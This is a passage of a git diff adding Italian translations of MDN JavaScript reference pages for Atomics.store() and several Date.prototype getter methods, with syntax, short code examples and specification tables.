+ <li>
+  <p>Il parametro <code>count</code> del metodo {{jsxref("Atomics.wake()")}} è stato cambiato: il valore di default adesso è <code>+Infinity</code>, e non <code>0</code> ({{bug(1253350)}}).</p>
+ </li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– a simple library providing synchronization and work distribution abstractions.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – a brief tutorial</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/atomics/store/index.html b/files/it/web/javascript/reference/global_objects/atomics/store/index.html
new file mode 100644
index 0000000000..5c8a466c0f
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/atomics/store/index.html
@@ -0,0 +1,91 @@
+---
+title: Atomics.store()
+slug: Web/JavaScript/Reference/Global_Objects/Atomics/store
+tags:
+  - Atomics
+  - JavaScript
+  - Memoria condivisa
+  - Store
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/store
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo statico <code><strong>Atomics</strong></code><strong><code>.store()</code></strong> memorizza un determinato valore nella posizione data nell'array e restituisce quel valore.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-store.html")}}</div>
+
+<p class="hidden">La fonte per questo esempio interattivo è memorizzata in un repository GitHub. Se desideri contribuire al progetto di esempi interattivi, clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviarci una richiesta di pull</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Atomics.store(typedArray, indice, valore)
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un array con numero intero condiviso. Uno di {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}}, o {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>indice </code></dt>
+ <dd>La posizione in <code>typedArray</code> per memorizzare un  <code>value</code> in.</dd>
+ <dt><code>valore</code></dt>
+ <dd>Numero da memorizzare.</dd>
+</dl>
+
+<h3 id="Valore_di_Ritorno">Valore di Ritorno</h3>
+
+<p>The value that has been stored<br>
+ // Il valore memorizzato.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<ul>
+ <li>Genera un {{jsxref("TypeError")}}, se <code>typedArray</code> non è uno dei tipi di numeri consentiti.</li>
+ <li>Genera un {{jsxref("TypeError")}}, se <code>typedArray</code> non è un tipo di array tipizzato condiviso.</li>
+ <li>Genera un {{jsxref("RangeError")}}, se <code>indice</code> è fuori limite in <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(4);         // common buffer
+var float32 = new Float32Array(buffer);  // floating point
+var uint32 = new Uint32Array(buffer);    // IEEE754 representation
+
+float32[0] = 0.5;
+console.log("0x" + uint32[0].toString(16));
+
+uint32[0] = 0x3f000000;   /// IEEE754 32-bit representation of 0.5
+console.log(float32[0]);
+
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.store', 'Atomics.store')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>definizione inizile in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull</div>
+
+<p>{{Compat("javascript.builtins.Atomics.store")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.load()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getdate/index.html b/files/it/web/javascript/reference/global_objects/date/getdate/index.html
new file mode 100644
index 0000000000..32c3d5fa57
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getdate/index.html
@@ -0,0 +1,78 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong><code>getDate()</code></strong>  resituisce il giorno del mese per la data specificata in accordo con l'ora locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getdate.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero  integer,  tra 1 e 31, rappresentante il giorno del mese per la data fornita in accordo con l'ora locale.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getDate()">Utilizzando getDate()</h3>
+
+<p>La seconda dichiarazione qui sotto assegna il valore 25 alla variabile <code>day</code>,  basata sul valore dell'oggetto {{jsxref("Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var day = Xmas95.getDate();
+
+console.log(day); // 25
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getDate")}}</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getday/index.html b/files/it/web/javascript/reference/global_objects/date/getday/index.html
new file mode 100644
index 0000000000..c5fd48bca7
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getday/index.html
@@ -0,0 +1,89 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDay
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Il metodo <strong><code>getDay()</code></strong>  restituisce il giorno della settimana per la data specificata in accordo con l'ora locale, dove 0 rappresenta Domenica.</span> Per il giorno del mese, vedere {{jsxref("Date.prototype.getDate()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getday.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero di tipo  integer,  tra 0 e 6, corrispondente al giorno della settimana per la data fornita, in accordo con l'ora locale: 0 for Domenica, 1 per Lunedi, 2 for Martedi e cosi' via.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getDay()">Utilizzando  <code>getDay()</code></h3>
+
+<p>La seconda dichiarazione qui sotto assegna il valore 1 a <code>weekday</code>, basato sul valore dell'oggetto {{jsxref("Date")}} <code>Xmas95</code>. December 25, 1995, è un Lunedi.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Se necessitato il nome completo di un giorno (<code>"Monday"</code> per esempio ) può essere ottenuto utilizzando {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} con un parametro <code>options</code> . Utilizzando questo metodo,  l'internazionalizzazione risulta più semplice:</p>
+
+<pre class="brush: js">var options = { weekday: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// Monday
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Montag
+</pre>
+</div>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getDay")}}</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/it/web/javascript/reference/global_objects/date/getfullyear/index.html
new file mode 100644
index 0000000000..57d1c5efc7
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getfullyear/index.html
@@ -0,0 +1,84 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo  <strong><code>getFullYear()</code></strong> restituisce l'anno della data specificata in accordo con l'ora locale.</p>
+
+<p>Utilizza questo metodo invece di quello {{jsxref("Date.prototype.getYear()", "getYear()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getfullyear.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero corrispondente all'anno della data fornita, in accordo con l'ora locale.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il valore restituito da <code>getFullYear()</code> è un numero assoluto. Per le date tra gli anni 1000 e 9999, <code>getFullYear()</code> restituisce un numero a 4 cifre, per esempio, 1995. Usa quetsa funzione per essere sicuro che un anno sia compiacente con gli anni dopo il 2000.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getFullYear()">Utilizzando <code>getFullYear()</code></h3>
+
+<p>Il seguente esempio assegna il valore a quattro cifre dell'anno corrente alla variabile <code>year</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getFullYear();
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getFullYear")}}</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/gethours/index.html b/files/it/web/javascript/reference/global_objects/date/gethours/index.html
new file mode 100644
index 0000000000..7e04a04d3f
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/gethours/index.html
@@ -0,0 +1,79 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo  <strong><code>getHours()</code></strong> restituisce l'ora per la data specificata in accordo con l'ora locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gethours.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero di tipo integer, tra 0 e 23, rappresentante l'ora per la data fornita in accordo con l'ora locale.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getHours()">Utilizzando <code>getHours()</code></h3>
+
+<p>La seconda dichiarazione qui sotto assegna il valore 23 alla variabile <code>hours</code>, basata sul valore dell'oggetto {{jsxref("Global_Objects/Date", "Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var hours = Xmas95.getHours();
+
+console.log(hours); // 23
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getHours")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/it/web/javascript/reference/global_objects/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..68825e21ca
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getmilliseconds/index.html
@@ -0,0 +1,77 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo <strong><code>getMilliseconds()</code></strong> restituisce i millisecondi nella data specificata in accordo con l'ora locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmilliseconds.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMilliseconds()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero, tra  0 e 999, rappresentante i millisecondi per la data fornita in accordo con l'ora locale.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getMilliseconds()">Utilizzando  <code>getMilliseconds()</code></h3>
+
+<p>Il seguente esempio assegna la porzione di millisecondi del tempo corrente alla variabile <code>milliseconds</code>:</p>
+
+<pre class="brush: js">var today = new Date();
+var milliseconds = today.getMilliseconds();
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getMilliseconds")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getminutes/index.html b/files/it/web/javascript/reference/global_objects/date/getminutes/index.html
new file mode 100644
index 0000000000..91f458cbda
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getminutes/index.html
@@ -0,0 +1,77 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo <strong><code>getMinutes()</code></strong> restituisce i minuti nella data specificata in accordo con l'ora locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getminutes.html")}}</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMinutes()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero di tipo integer, tra 0 e 59, rappresentante i minuti nella data fornita in accordo con l'ora locale.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getMinutes()">Utilizzando <code>getMinutes()</code></h3>
+
+<p>La seconda dichiarazione qui soto assegna il valore 15 alla variabile <code>minutes</code>, basata sul valore dell'oggetto {{jsxref("Global_Objects/Date", "Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var minutes = Xmas95.getMinutes();
+
+console.log(minutes); // 15
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getMinutes")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getmonth/index.html b/files/it/web/javascript/reference/global_objects/date/getmonth/index.html
new file mode 100644
index 0000000000..3d954b4ed5
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getmonth/index.html
@@ -0,0 +1,90 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo  <strong><code>getMonth()</code></strong> restituisce il mese nella data specificata in accordo con l'ora locale, come un valore in base zero (dove zero indica il primo mese dell'anno).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmonth.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMonth()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero di tipo  integer, tra 0 e 11, rappresentante il mese nella data fornita in accordo con l'ora locale. 0 corrisponde a Gennaio, 1 a Febbraio , e cosi' via.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getMonth()">Utilizzando <code>getMonth()</code></h3>
+
+<p>La seconda dichiarazione qui sotto assegna il valore 11 alla variabile <code>month</code>, basata sul valore dell'oggetto {{jsxref("Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var month = Xmas95.getMonth();
+
+console.log(month); // 11
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Se necessitato , il nome completo di un mese (<code>"January"</code> per esempio ) può essere ottenuto utilizzando <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat#Using_options">Intl.DateTimeFormat()</a></code> con un prametro <code>options</code> .  Utilizzando questo metodo, l'internazionalizzazione risulta più semplice:</p>
+
+<pre class="brush: js">var options = { month: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// December
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Dezember
+</pre>
+</div>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getMonth")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/getseconds/index.html b/files/it/web/javascript/reference/global_objects/date/getseconds/index.html
new file mode 100644
index 0000000000..3faac2c56e
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/getseconds/index.html
@@ -0,0 +1,79 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo <strong><code>getSeconds()</code></strong> restituisce i secondi nella data specificata in accordo con l'ora locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getSeconds()</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero di tipo integer, tra 0 e 59, rappresentante i secondi nella data fonita in accordo con l'ora locale.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getSeconds()">Utilizzando  <code>getSeconds()</code></h3>
+
+<p>La seconda dichiarazione qui sotto assegna il valore  30 alla variabile <code>seconds</code>, basata sul valore dell'oggetto {{jsxref("Global_Objects/Date", "Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var seconds = Xmas95.getSeconds();
+
+console.log(seconds); // 30
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
